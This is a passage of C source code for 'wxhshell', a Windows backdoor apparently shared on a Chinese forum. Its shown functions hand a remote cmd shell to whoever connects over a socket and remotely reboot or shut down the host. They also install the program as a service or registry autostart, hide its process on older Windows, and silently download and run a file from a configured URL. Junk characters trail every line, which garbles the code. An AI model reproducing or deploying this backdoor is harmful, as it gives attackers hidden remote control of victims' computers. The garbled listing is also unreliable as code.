  // 帮助 H6*d#!  
  case '?': { C sn"sf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i3>7R'q>  
    break; qGgT<Rd~1  
  } 4>>d "<}C  
  // 安装  >kK  
  case 'i': { e ?H`p"l  
    if(Install()) z.pP~he  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KaHjL&!  
    else Y9 , KOs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nYMdYt04sl  
    break; ; eq^m,oz  
    } )}7rM6hv  
  // 卸载 >e"CpbZ'  
  case 'r': { Wgdij11e  
    if(Uninstall()) j#0@%d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &B7X LO[  
    else q?{wRBVVB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0\Qqv7>  
    break; hn-9l1~!h  
    } !5Kv9P79  
  // 显示 wxhshell 所在路径 pl V]hu27K  
  case 'p': { +dk}$w[ g  
    char svExeFile[MAX_PATH]; QVI4<Rxg  
    strcpy(svExeFile,"\n\r"); $GYcZN&  
      strcat(svExeFile,ExeFile); W[: n*h  
        send(wsh,svExeFile,strlen(svExeFile),0); {KE858  
    break; $AUC#<*C  
    } z6b!,lp  
  // 重启 N%:QaCZKw  
  case 'b': { Ylll4w62N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9=~"^dp54%  
    if(Boot(REBOOT)) Y_)!U`>N?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /N7j5v(  
    else { {o4m3[C7=}  
    closesocket(wsh); `$7j:<c=  
    ExitThread(0); O!kBp(?]  
    } vWcU+GBZI  
    break; ; 7[5%xM  
    } `TOm.YZG  
  // 关机 @%fNB,H`  
  case 'd': { gyJ$ Jp  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &mKtW$K` q  
    if(Boot(SHUTDOWN)) Q\Fgc ;.U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \;}F6g  
    else { )&<BQIv9/  
    closesocket(wsh); o4,W!^ n2  
    ExitThread(0); kf>oZ*/  
    } a8FC#kfq  
    break; 6+e@)[l.zc  
    } dmW0SK   
  // 获取shell )VID ;l;4  
  case 's': { G@ XKE17  
    CmdShell(wsh); _K3?0<=4  
    closesocket(wsh); NSUw7hnWvz  
    ExitThread(0); k/?5Fs!#  
    break; lphQZ{8  
  } a1_7plg  
  // 退出 0p :FAvvNI  
  case 'x': { Ua)ARi %  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B)O{+avu  
    CloseIt(wsh); (hS j4Cp  
    break; ds,NNN<HW  
    } 9sifc<za  
  // 离开 "m.jcKt  
  case 'q': { iVLfAN @  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0~Z >}(  
    closesocket(wsh); &p%0cjg"Q  
    WSACleanup(); HP^<2?K  
    exit(1); $rv&!/}]e  
    break; & xo,49`!  
        } #HpF\{{v  
  } |T atRB3>  
  } a_P8!pk+5  
>}%  
  // 提示信息 j{U?kW{o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9^,MC&eb  
} V)72]p  
  } j BS$xW  
w xKlBx7  
  return; Jw)Uk< \  
} 8e:J{EG~  
3,=97Si=  
// shell模块句柄 F~2bCy[Z  
int CmdShell(SOCKET sock) *JDQaWzBd  
{ z^j7wMQ  
STARTUPINFO si; _8Cw_  
ZeroMemory(&si,sizeof(si)); z'Atw"kA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t<wjS|4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (-viP  
PROCESS_INFORMATION ProcessInfo; X?&(i s  
char cmdline[]="cmd"; U1}-]^\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +Kw:z?  
  return 0; @&p:J0hbp  
} awkPFA*c'  
>M=_:52.+  
// 自身启动模式 M?l/_!QB  
int StartFromService(void) Fcz7   
{ 4u- mE  
typedef struct .R'<v^H  
{ ,RjE?M%  
  DWORD ExitStatus; )voJq\Y)%  
  DWORD PebBaseAddress; S-l<+O1fy  
  DWORD AffinityMask; q#B=PZ'NA  
  DWORD BasePriority; 2wLnRP`*  
  ULONG UniqueProcessId; /.P9n9  
  ULONG InheritedFromUniqueProcessId; 9.u}<m  
}   PROCESS_BASIC_INFORMATION; :}'5'oVG  
vqO d`_)  
PROCNTQSIP NtQueryInformationProcess; DSjEoWj   
X5@+M!`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  |Hx#Uk#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V>D8l @  
4eH:eCZze  
  HANDLE             hProcess; @h7)M:l  
  PROCESS_BASIC_INFORMATION pbi; D$@5$./  
hOZ:r =%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O*0%AjT6  
  if(NULL == hInst ) return 0; c\A 4-08  
\PReQ|[ah  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  +~xY}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'u@,,FFz[K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gQ90>P:  
>NLG"[\  
  if (!NtQueryInformationProcess) return 0; QS7<7+  
wW &q)WOi  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hOFC8g  
  if(!hProcess) return 0; Z p8\n:  
o%3i(H  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >7g #e,d   
'Ur1I "  
  CloseHandle(hProcess); 6mp8v`b  
#+CH0Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sg YPR  
if(hProcess==NULL) return 0; s&v7<)*q  
Uh[MB wK  
HMODULE hMod; ` 1Ui  
char procName[255]; |wbXu:  
unsigned long cbNeeded; Kk.a9uKI}  
Wo)$*?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Qa`+-W u8  
"&Q sv-9t  
  CloseHandle(hProcess); 2{U5*\FhVX  
co^bS;r  
if(strstr(procName,"services")) return 1; // 以服务启动 `qoRnG  
5&)T[Q X`  
  return 0; // 注册表启动 B&fH FyK1n  
} we:P_\6  
L%S(z)xX3  
// 主模块 -gn!8G1  
int StartWxhshell(LPSTR lpCmdLine) 2P35#QI[)  
{ |L9p.q  
  SOCKET wsl; 1S[4@rZ  
BOOL val=TRUE; ?+)>JvWDz  
  int port=0; Cb4.N 8  
  struct sockaddr_in door; \/XU v(  
%f)%FN . S  
  if(wscfg.ws_autoins) Install(); ?)NgODU  
[0bp1S~  
port=atoi(lpCmdLine); ._%8H  
"+XF'ZO  
if(port<=0) port=wscfg.ws_port; W3+;1S$k  
`d c&B  
  WSADATA data; /,d]`N!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c T21  
f;D(X/"f]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @\U;?N~k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vzX%x ul  
  door.sin_family = AF_INET; &s#OiF8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mUan(iJ  
  door.sin_port = htons(port); *""iXi[  
hKVb#|$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { = }ELu@\V[  
closesocket(wsl); s4uZ>  
return 1; <) cJz  
} &?@gCVNO,  
[L>mrHqG  
  if(listen(wsl,2) == INVALID_SOCKET) { \h>6k  
closesocket(wsl); 1y3)ogL  
return 1; n\GN}?4  
} ECsb?n7e  
  Wxhshell(wsl); B#]:1:Qn  
  WSACleanup(); we0haK  
ke<l@w O  
return 0; y_``-F&Z  
@Os0A  
} I*z|_}$  
8\F|{vt#  
// 以NT服务方式启动 i);BTwW)#]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uS<og P  
{ Aflf]G1  
DWORD   status = 0; 7aS%;EU  
  DWORD   specificError = 0xfffffff; '2qbIYanh  
[_`<<!u>-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; AvVPPEryal  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v65]$%F?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lFp:F5  
  serviceStatus.dwWin32ExitCode     = 0; XL/V>`E@  
  serviceStatus.dwServiceSpecificExitCode = 0; o\<JG?P  
  serviceStatus.dwCheckPoint       = 0; FM=XoMP q  
  serviceStatus.dwWaitHint       = 0; e%km}mA  
5KNa-\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FKtG  
  if (hServiceStatusHandle==0) return; Z*R~dHr   
CZ!gu Y=  
status = GetLastError(); naiQ$uq0  
  if (status!=NO_ERROR) m2%n:  
{ %!7A" >ai  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^S`N\X  
    serviceStatus.dwCheckPoint       = 0; mg< v9#  
    serviceStatus.dwWaitHint       = 0; d};[^q6X  
    serviceStatus.dwWin32ExitCode     = status; 9ec>#Vxx  
    serviceStatus.dwServiceSpecificExitCode = specificError; z57q |  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $a|>>?8  
    return; 5g`J}@"k  
  } #Vhr 1;j  
>guX,hx^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8Ow#W5_3|  
  serviceStatus.dwCheckPoint       = 0; [F!h&M0z  
  serviceStatus.dwWaitHint       = 0; q>s`G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >}bkX 6c5  
} |['SiO$)  
 Spw^h=o  
// 处理NT服务事件,比如:启动、停止 9!PM1<p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "yK)9F[9Mo  
{ I^)_rOgM  
switch(fdwControl) Rzyaicj^c  
{ .NJ Ne  
case SERVICE_CONTROL_STOP: cSBS38>  
  serviceStatus.dwWin32ExitCode = 0; B1j^qoC.5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cm8co  
  serviceStatus.dwCheckPoint   = 0; g,G{%dGsk  
  serviceStatus.dwWaitHint     = 0; | 2GrOM&S  
  { ewdcAF5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^?: Az  
  } 2q UX"a4  
  return; u/CR7Y  
case SERVICE_CONTROL_PAUSE: T2A74>Nw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8 .&P4u i  
  break; /!_FE+  
case SERVICE_CONTROL_CONTINUE: J|@O4 g   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )h]tKYx  
  break; f[*g8p  
case SERVICE_CONTROL_INTERROGATE: vl!o^_70(  
  break; cR&d=+R&  
}; 5Z(q|nn7P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >CqZ75>  
} "^ aSONz  
5k c?:U&  
// 标准应用程序主函数 p m<K6I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _ t.E_K  
{ mqBX1D`e2  
Bw<$fT`  
// 获取操作系统版本 K<k\A@rv8H  
OsIsNt=GetOsVer(); ~iIFe+6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K#N5S]2yb  
ZftucD|ZY/  
  // 从命令行安装 8/}S/$  
  if(strpbrk(lpCmdLine,"iI")) Install(); ti<;>P[4  
,!^g8zO  
  // 下载执行文件 MIu'OJ"z~  
if(wscfg.ws_downexe) { bWZ oGFT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u$ vLwJ|o  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]>0$l _V  
} >w1jfpQ@t$  
U4lAo  
if(!OsIsNt) { QbYNL9%  
// 如果时win9x,隐藏进程并且设置为注册表启动 BPy pA $  
HideProc(); AY]rQ:I  
StartWxhshell(lpCmdLine); )LL.fPic  
} ;`Sn66&  
else ?U,XyxN  
  if(StartFromService()) yn2k!2]&T<  
  // 以服务方式启动 m~@Lt~LZs  
  StartServiceCtrlDispatcher(DispatchTable); G&yF9s)Lvs  
else ^J@ Xsl  
  // 普通方式启动 ;?gR,AKZ  
  StartWxhshell(lpCmdLine); +p-S36K~,7  
yg%T{hyzH  
return 0; (OG>=h8?  
}
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只看该作者 1 发表于: 2006-10-10
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